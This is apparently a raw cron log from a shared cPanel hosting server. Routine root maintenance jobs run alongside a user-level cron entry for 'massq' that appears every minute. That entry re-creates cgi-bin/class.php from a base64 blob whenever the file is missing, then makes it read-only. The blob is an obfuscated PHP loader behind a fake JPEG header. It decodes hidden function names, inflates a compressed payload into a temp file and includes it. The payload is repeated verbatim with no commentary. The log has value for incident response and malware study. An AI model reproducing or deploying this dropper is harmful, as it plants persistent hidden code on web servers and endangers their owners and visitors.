Aug 30 07:17:01 server CROND[784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:17:01 server CROND[783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:17:01 server CROND[785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:18:01 server CROND[1361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:18:01 server CROND[1362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:18:01 server CROND[1363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:19:01 server CROND[1758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:19:01 server CROND[1759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:19:01 server CROND[1760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:20:01 server CROND[2195]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:20:01 server CROND[2194]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:20:01 server CROND[2201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:20:01 server CROND[2203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:20:01 server CROND[2206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:20:01 server CROND[2205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:20:01 server CROND[2202]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 07:20:01 server CROND[2204]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:20:01 server CROND[2207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:21:01 server CROND[3080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:21:01 server CROND[3081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:21:01 server CROND[3082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:22:01 server CROND[3472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:22:01 server CROND[3473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:22:01 server CROND[3474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:23:01 server CROND[3857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:23:01 server CROND[3858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:23:01 server CROND[3859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:24:01 server CROND[4338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:24:01 server CROND[4339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:24:01 server CROND[4340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:25:01 server CROND[4724]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:25:01 server CROND[4725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:25:01 server CROND[4730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:25:01 server CROND[4728]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:25:01 server CROND[4731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:25:01 server CROND[4732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:25:01 server CROND[4729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:26:01 server CROND[5571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:26:01 server CROND[5572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:26:01 server CROND[5573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:27:01 server CROND[5962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:27:01 server CROND[5963]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 07:27:01 server CROND[5964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:27:01 server CROND[5965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:28:01 server CROND[6353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:28:01 server CROND[6352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:28:01 server CROND[6354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:29:01 server CROND[6828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
